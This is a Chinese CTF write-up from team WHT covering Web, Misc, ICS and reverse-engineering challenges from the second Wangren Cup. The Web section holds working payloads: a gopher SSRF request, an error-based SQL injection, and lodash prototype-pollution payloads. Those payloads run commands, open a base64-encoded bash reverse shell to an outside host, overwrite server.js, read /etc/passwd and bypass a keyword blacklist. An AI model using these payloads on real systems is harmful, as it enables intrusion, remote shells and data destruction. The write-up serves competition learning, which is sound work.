第二届网刃杯网络安全大赛WP

admin 2022年4月26日08:38:24评论168 views字数 10936阅读36分27秒阅读模式

本文来自“白帽子社区知识星球”

作者:WHT战队

第二届网刃杯网络安全大赛WP


白帽子社区知识星球

加入星球,共同进步

第二届网刃杯网络安全大赛WP

WHT战队招新:


  • WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。

  • 有半年以上CTF竞赛经验的。

  • 包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

  • 加分项:有一年以上CTF竞赛经验的各方向CTFer。


    有意向的师傅请扫描二维码联系我们

    第二届网刃杯网络安全大赛WP

01

Web
  • Sign_in

读/etc/hosts

扫c段发现172.73.25.100存活,并开启了80,后面就是tw了

gopher%3A//172.73.25.100%3A80/_POST%2520/index.php%253Fa%253D11111%2520HTTP/1.1%250D%250AHost%253A%2520172.73.25.100%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AX-forwarded-for%253A%2520127.0.0.1%250D%250AReferer%253A%2520bolean.club%250D%250AContent-Length%253A%252036%250D%250A%250D%250Ab%253Dc384d200658f258e5b5c681bf0aa29a811%250D%250A


  • UPLOAD

文件名处fuzz单引号报错,并报sql语句,fuzz一下没什么过滤,就常规报错注入

因长度限制,分段读flag

1' and updatexml(1,concat(0x7e,substr((select flag from flag ),28,60),0x7e),0x7e) and '


  • ez_js 

题目给了源码,本地用vscode搭个debug环境

cnpm initcnpm intall//node server.js
//launch.json{ "version": "0.2.0", "configurations": [ { "type": "node", "request": "launch", "name": "启动程序", "skipFiles": [ "<node_internals>/**" ], "program": "${workspaceFolder}\server.js" } ]}


lodash原型链污染


第二届网刃杯网络安全大赛WP

lodash.template模板注入


第二届网刃杯网络安全大赛WP



漏洞细节看这https://www.anquanke.com/post/id/248170#h3-7

原本payload如下,由于存在黑名单得bypass

{"__proto__":{"sourceURL":"u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
fuzz黑名单主要有下面几个
空格;requirereturnexecSync$curlecho

return可以用匿名函数 空格可以用spawnSync函数绕过
require可以用_load,修改payload如下
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('child_process').spawnSync('ping',['xxx:xxx']))})()"}}

如果没有禁echo的话还可以用如下payload反弹shell
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('child_process').exec('{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xNDAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}'))})()"}}

本地可以弹计算机和ping通vps 远程反弹shell失败,可能是payload和远程环境差异的问题,或者不出网?
如何证明远程端漏洞是存在的

直接覆写server.js文件,让服务器报错
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('fs').writeFileSync('server.js','r000000'))})()"}}

第二届网刃杯网络安全大赛WP


记录一下坑点
读取文件未回显
{"__proto__":{"sourceURL":"u000a(function(){console.log(global.process.mainModule.constructor._load('fs').readFileSync('/etc/passwd','utf-8'))})()"}}

可以利用换行(u000a)绕过分号 
{"__proto__":{"sourceURL":"u000a(function(){console.log(2222)u000aconsole.log(111)})()"}}

这一块用到了ejs模板文件,不知能否利用

第二届网刃杯网络安全大赛WP


细节看这https://www.anquanke.com/post/id/236354#h2-2
json解析时关键HTTP头缺失(重复)导致原型链污染失败
Content-Type: application/json 有且只能有一个

第二届网刃杯网络安全大赛WP


第二届网刃杯网络安全大赛WP


最后没时间了 有点可惜


02

Misc

玩坏的winxp


第二届网刃杯网络安全大赛WP


vmdk文件,用DiskGenius打开,找到Administrator用户的桌面的学习资料

第二届网刃杯网络安全大赛WP


binwalk分析meiren.pngforemost分离

第二届网刃杯网络安全大赛WP


第二届网刃杯网络安全大赛WP


继续binwalk分析,foremost分离f1ag.png

第二届网刃杯网络安全大赛WP


分离出来的压缩包需要密码

第二届网刃杯网络安全大赛WP


提示QQ有压缩包密码,但是在虚拟磁盘镜像中没有找到有安装过QQ这个软件,猜测可能在线登录过,所以就找唯一安装的浏览器Firefox的本地数据

第二届网刃杯网络安全大赛WP


这里几个.db文件都不是.db文件,Navicat无法建立连接,几个.sqlite文件可以使用Navicat建立连接,找了好久最终在places.sqlite中找到qq账号

第二届网刃杯网络安全大赛WP


在开放的QQ空间中找到留言,

第二届网刃杯网络安全大赛WP


第二届网刃杯网络安全大赛WP


得到解压密码:xiaomin520

第二届网刃杯网络安全大赛WP


flag{this_is_what_u_want8}

03

ISC

easyiec


tcp contains "flag"


第二届网刃杯网络安全大赛WP


flag{e45y_1eci04}

xyp07

科来网络分析系统打开
发现一个TCP非法校验,应该是修改了这里

第二届网刃杯网络安全大赛WP


第二届网刃杯网络安全大赛WP


第二届网刃杯网络安全大赛WP


第二届网刃杯网络安全大赛WP


flag{welcome_S7_world_xyp07}

carefulguy

tcp.stream eq 3开始往后有flag的十六进制

第二届网刃杯网络安全大赛WP

>>> from binascii import *>>> flag='666c61677b7034757333313576337279316e7433726573746963397d'>>> unhexlify(flag)b'flag{p4us315v3ry1nt3restic9}'

喜欢移动的黑客

第二届网刃杯网络安全大赛WP


直接打开WireShark显示不是pcapng文件,修改文件头前四个字节

过滤器中输入modbus.data锁定转速数据的包

第二届网刃杯网络安全大赛WP


找到转速超过10000以上的数据包

第二届网刃杯网络安全大赛WP


data是十六进制,转化一下十进制

flag{1008668156}

04

RE

Re_function


两个文件,一个exe,一个elf。

先看function1


// positive sp value has been detected, the output may be wrong!int __usercall sub_401019@<eax>(_BYTE *a1@<eax>, int a2@<ebp>){  FILE *v2; // eax  int v3; // eax  int i; // ecx  int v5; // ecx  char v6; // dl  char v7; // bl
*a1 |= (unsigned __int8)a1; *(_OWORD *)(a2 - 32) = 0i64; *(_QWORD *)(a2 - 16) = 0i64; *(_DWORD *)(a2 - 8) = 0; *(_OWORD *)(a2 - 60) = xmmword_402120; *(_DWORD *)(a2 - 44) = 1919318081; *(_DWORD *)(a2 - 40) = 1314814017; *(_DWORD *)(a2 - 36) = 1024348765; puts("please input flag: "); v2 = _acrt_iob_func(0); fgets((char *)(a2 - 32), 28, v2); v3 = strlen((const char *)(a2 - 32)); for ( i = 0; i < v3; i += 2 ) *(_BYTE *)(a2 + i - 32) ^= 0x37u; v5 = 0; if ( v3 <= 0 ) goto LABEL_7; do { v6 = *(_BYTE *)(a2 + v5 - 60); v7 = *(_BYTE *)(a2 + v5++ - 32); } while ( v5 < v3 ); if ( v7 == v6 ) puts("Get!!!"); elseLABEL_7: puts("Error!!!"); return 0;}

隔一个异或


x = [100, 113,  84,  84, 100, 120, 116, 120, 100,  65,    64,  72, 112, 109,  24,  74,  65, 120, 102, 114,    65, 120,  94,  78,  93,  82,  14,  61]flag=''for i in range(len(x)):    if i%2==0:        flag+=chr(x[i]^0x37)    else:        flag+=chr(x[i])print(flag)#SqcTSxCxSAwHGm/JvxQrvxiNjR9=


再看function2


_BYTE *__fastcall sub_func2(const char *a1){  int v2; // [rsp+18h] [rbp-28h]  int v3; // [rsp+1Ch] [rbp-24h]  __int64 v4; // [rsp+20h] [rbp-20h]  signed __int64 v5; // [rsp+30h] [rbp-10h]  _BYTE *v6; // [rsp+38h] [rbp-8h]
v5 = strlen(a1); if ( v5 % 3 ) v4 = 4 * (v5 / 3 + 1); else v4 = 4 * (v5 / 3); v6 = malloc(v4 + 1); v6[v4] = 0; v2 = 0; v3 = 0; while ( v2 < v4 - 2 ) { v6[v2] = aFevykw6a0ldios[(unsigned __int8)a1[v3] >> 2]; v6[v2 + 1] = aFevykw6a0ldios[(16 * (a1[v3] & 3)) | ((unsigned __int8)a1[v3 + 1] >> 4)]; v6[v2 + 2] = aFevykw6a0ldios[(4 * (a1[v3 + 1] & 0xF)) | ((unsigned __int8)a1[v3 + 2] >> 6)]; v6[v2 + 3] = aFevykw6a0ldios[a1[v3 + 2] & 0x3F]; v3 += 3; v2 += 4; } if ( v5 % 3 == 1 ) { v6[v2 - 2] = 61; v6[v2 - 1] = 61; } else if ( v5 % 3 == 2 ) { v6[v2 - 1] = 61; } return v6;}


简单的base64换表加密。


#python3import base64import string
def BASE64(cipher,string1): string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" return (base64.b64decode(cipher.translate(str.maketrans(string1,string2))))
cipher = "SqcTSxCxSAwHGm/JvxQrvxiNjR9="string1 = "FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+"print(BASE64(cipher,string1))#b'flag{we1come_t0_wrb}'


freestyle


int __cdecl main(int argc, const char **argv, const char **envp){  fun1(argc, argv, envp);  fun2();  puts("nyes!!!");  puts("flag is in md5 format");  return 0;}


两个fun fun1


__int64 fun1(){  char s[24]; // [rsp+0h] [rbp-20h] BYREF  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u); puts("Welcome to Alaska!!!"); puts("please input key: "); fgets(s, 20, stdin); if ( 4 * (3 * atoi(s) / 9 - 9) != 4400 ) exit(0); puts("ok,level_1 over!nn"); return 1LL;}


fun2


__int64 fun2(){  char s[24]; // [rsp+0h] [rbp-20h] BYREF  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u); puts("Welcome to Paradise Lost!!!"); puts("The code value is the smallest divisible"); puts("please input key: "); fgets(s, 20, stdin); if ( 2 * (atoi(s) % 56) != 98 ) exit(0); puts("ok,level_2 over!"); return 1LL;}


两个简单方程


4 * (3 * atoi(s) / 9 - 9) == 44002 * (atoi(s) % 56) == 98


同时,第二个数提示"The code value is the smallest divisible" 所以解得第一个是3327,第二个是105

flag为flag{md5(3327105)}


ez_algorithm


主加密函数encryption


char *__fastcall encryption(char *a1){  int v1; // eax  char v2; // al  char v3; // al  __int64 v4; // kr00_8  char v5; // al  char v6; // al  int v7; // eax  char v8; // al  char v9; // al  char v10; // al  char v11; // al  char v12; // al  size_t v13; // rbx  char v15[1012]; // [rsp+20h] [rbp-60h] BYREF  int v16; // [rsp+414h] [rbp+394h]  __int64 v17; // [rsp+418h] [rbp+398h]  __int64 v18; // [rsp+420h] [rbp+3A0h]  int v19; // [rsp+42Ch] [rbp+3ACh]  char *v20; // [rsp+430h] [rbp+3B0h]  char *v21; // [rsp+438h] [rbp+3B8h]
v18 = xyp2(); v17 = xyp3(); v21 = v15; v20 = a1; v19 = 0; v16 = 1; while ( 1 ) { v13 = v19; if ( v13 >= strlen(a1) ) return v15; if ( *v20 <= 64 || *v20 > 90 ) { if ( *v20 <= 96 || *v20 > 122 ) { if ( *v20 == 95 ) { switch ( v16 + rand() % 7 ) { case 0: *v21 = 58; break; case 1: *v21 = 38; break; case 2: *v21 = 43; break; case 3: *v21 = 42; break; case 4: *v21 = 92; break; case 5: *v21 = 63; break; case 6: *v21 = 36; break; case 7: *v21 = 35; break; default: break; } } else if ( *v20 <= 47 || *v20 > 57 ) { *v21 = *v20; } else { v12 = encryption2(*v20); *v21 = v12; } } else { v7 = v19 % 4; if ( v19 % 4 == 1 ) { v9 = encryption2(*(_BYTE *)((*v20 - 97) * (v19 % 4) + v18)); *v21 = v9; } else if ( v7 > 1 ) { if ( v7 == 2 ) { v10 = encryption2(*(_BYTE *)(((*v20 - 97) ^ (v19 % 4)) + v18)); *v21 = v10; } else if ( v7 == 3 ) { v11 = encryption2(*(_BYTE *)(*v20 - 97 + v19 % 4 + v18)); *v21 = v11; } } else if ( !v7 ) { v8 = encryption2(*(_BYTE *)(*v20 - 97 - v19 % 4 + v18)); *v21 = v8; } } } else { v1 = v19 % 4; if ( v19 % 4 == 1 ) { v3 = encryption2(*(_BYTE *)(*v20 - 65 + v19 % 4 + v17)); *v21 = v3; } else if ( v1 > 1 ) { if ( v1 == 2 ) { v4 = v19 * (*v20 - 65); v5 = encryption2(*(_BYTE *)((((HIDWORD(v4) >> 30) + (unsigned __int8)v19 * (*v20 - 65)) & 3) - (HIDWORD(v4) >> 30) + v17)); *v21 = v5; } else if ( v1 == 3 ) { v6 = encryption2(*(_BYTE *)(((*v20 - 65) ^ (v19 % 4)) + v17)); *v21 = v6; } } else if ( !v1 ) { v2 = encryption2(*(_BYTE *)(*v20 - 65 - v19 % 4 + v17)); *v21 = v2; } } ++v19; ++v20; ++v21; }}


encryption2

__int64 __fastcall encryption2(char a1){  unsigned __int8 v2; // [rsp+30h] [rbp+10h]
v2 = a1; if ( a1 > 64 && a1 <= 90 ) return (unsigned __int8)encryption3(a1 + 32); if ( a1 > 96 && a1 <= 122 ) return (unsigned __int8)encryption3(a1 - 32); if ( a1 > 47 && a1 <= 57 ) v2 = encryption3(a1); return v2;}


encryption3


__int64 __fastcall encryption3(char a1){  unsigned __int8 v2; // [rsp+10h] [rbp+10h]
v2 = a1; if ( a1 > 64 && a1 <= 70 || a1 > 96 && a1 <= 102 ) return (unsigned __int8)(a1 + 20); if ( a1 > 84 && a1 <= 90 || a1 > 116 && a1 <= 122 ) return (unsigned __int8)(a1 - 20); if ( a1 > 71 && a1 <= 77 || a1 > 103 && a1 <= 109 ) return (unsigned __int8)(a1 + 6); if ( a1 > 77 && a1 <= 83 || a1 > 109 && a1 <= 115 ) return (unsigned __int8)(a1 - 6); if ( a1 == 71 || a1 == 103 ) return (unsigned __int8)(a1 + 13); if ( a1 == 84 || a1 == 116 ) return (unsigned __int8)(a1 - 13); if ( a1 > 47 && a1 <= 57 ) v2 = 105 - a1; return v2;}


可以发现,后两个加密函数同时也是解密函数 直接分析第一个

分析可以得到当输入字符为小写时


v1 = v19 % 4;      if ( v19 % 4 == 1 )      {        v3 = encryption2(*(_BYTE *)(*v20 - 65 + v19 % 4 + v17));        *v21 = v3;      }      else if ( v1 > 1 )      {        if ( v1 == 2 )        {          v4 = v19 * (*v20 - 65);          v5 = encryption2(*(_BYTE *)((((HIDWORD(v4) >> 30) + (unsigned __int8)v19 * (*v20 - 65)) & 3)                                    - (HIDWORD(v4) >> 30)                                    + v17));          *v21 = v5;        }        else if ( v1 == 3 )        {          v6 = encryption2(*(_BYTE *)(((*v20 - 65) ^ (v19 % 4)) + v17));          *v21 = v6;        }      }      else if ( !v1 )      {        v2 = encryption2(*(_BYTE *)(*v20 - 65 - v19 % 4 + v17));        *v21 = v2;      }


当输入字符为大写时


v7 = v19 % 4;        if ( v19 % 4 == 1 )        {          v9 = encryption2(*(_BYTE *)((*v20 - 97) * (v19 % 4) + v18));          *v21 = v9;        }        else if ( v7 > 1 )        {          if ( v7 == 2 )          {            v10 = encryption2(*(_BYTE *)(((*v20 - 97) ^ (v19 % 4)) + v18));            *v21 = v10;          }          else if ( v7 == 3 )          {            v11 = encryption2(*(_BYTE *)(*v20 - 97 + v19 % 4 + v18));            *v21 = v11;          }        }        else if ( !v7 )        {          v8 = encryption2(*(_BYTE *)(*v20 - 97 - v19 % 4 + v18));          *v21 = v8;        }



分别从对输入字符减去97(65),再+-*^(下标%4),取v18,v17中的字符,再进行加密 当输入字符为数字时,直接进行加密

当输入字符为‘_’时,随机生成8个字符中的一个,这里的Switch有坑。

当输入字符为其他时不变

于是得到解密脚本

v18='ckagevdxizblqnwtmsrpufyhoj'v17='TMQZWKGOIAGLBYHPCRJSUXEVND'c = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'v = 'BRUF{E6oU9Ci#J9+6nWAhwMR9n#}''''if s <= 47 or s >57:    flag+=chr(s)
if s in ll: flag+='_' '''lll=[58,38,43,42,92,63,36,35]def decryption3(a1): v2 = a1 if ( a1 > 64 and a1 <= 70 or a1 > 96 and a1 <= 102 ): return (a1 + 20) if ( a1 > 84 and a1 <= 90 or a1 > 116 and a1 <= 122 ): return (a1 - 20) if ( a1 > 71 and a1 <= 77 or a1 > 103 and a1 <= 109 ): return (a1 + 6) if ( a1 > 77 and a1 <= 83 or a1 > 109 and a1 <= 115 ): return (a1 - 6) if ( a1 == 71 or a1 == 103 ): return (a1 + 13) if ( a1 == 84 or a1 == 116 ): return (a1 - 13) if ( a1 > 47 and a1 <= 57 ): v2 = 105 - a1; return v2;def decryption2(a1): v2 = a1; if ( a1 > 64 and a1 <= 90 ): return decryption3(a1 + 32) if ( a1 > 96 and a1 <= 122 ): return decryption3(a1 - 32) if ( a1 > 47 and a1 <= 57 ): v2 = decryption3(a1) return v2def decryption(c,i): ll=[] if ord(c) in lll: return ord('_') if ord(c)>=48 and ord(c)<=57: return decryption2(ord(c)) if ord(c)>122: return ord(c) if ord(c) >=65 and ord(c)<=90: m = chr(decryption2(ord(c))) if i%4 == 1: ll.append(v18.find(m)) if i%4 == 2: ll.append(v18.find(m)^2) if i%4 == 3: ll.append(v18.find(m)-3) if i%4 == 0: ll.append(v18.find(m)) return (ll[0]+97) if ord(c) >=97 and ord(c)<=122: m = chr(decryption2(ord(c))) if i%4 == 1: ll.append(v17.find(m)-1) if i%4 == 2: ll.append(v17.find(m)//2) if i%4 == 3: ll.append(v17.find(m)^3) if i%4 == 0: ll.append(v17.find(m)) return (ll[0]+65) x = []for i in range(len(c)): x.append(decryption(c[i],i))flag=''for k in x: flag+=chr(k)print(flag)

解得flag为flag{w3Lc0mE_t0_3NcrYPti0N_} 但提交不对,回去看比较的密文


'BRUF{E6oU9Ci#J9+6nWAhwMR9n:}'


倒数第二个字符是:回看函数里的switch


switch ( v16 + rand() % 7 )          {            case 0:              *v21 = 58;              break;            case 1:              *v21 = 38;              break;            case 2:              *v21 = 43;              break;            case 3:              *v21 = 42;              break;            case 4:              *v21 = 92;              break;            case 5:              *v21 = 63;              break;            case 6:              *v21 = 36;              break;            case 7:              *v21 = 35;              break;            default:              break;          }

这里的v16=1,所以无论如何不能到case 0,而case 0对应的就是:,因此倒数第二个字符应该是:不变。于是得到正确flag


flag{w3Lc0mE_t0_3NcrYPti0N:}


定时启动


  • 按提示在09:09:09运行程序即可


第二届网刃杯网络安全大赛WP


如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。


▼扫码关注白帽子社区公众号&加入知识星球▼


第二届网刃杯网络安全大赛WP
第二届网刃杯网络安全大赛WP

原文始发于微信公众号(白帽子社区):第二届网刃杯网络安全大赛WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月26日08:38:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第二届网刃杯网络安全大赛WPhttp://cn-sec.com/archives/941414.html

发表评论

匿名网友 填写信息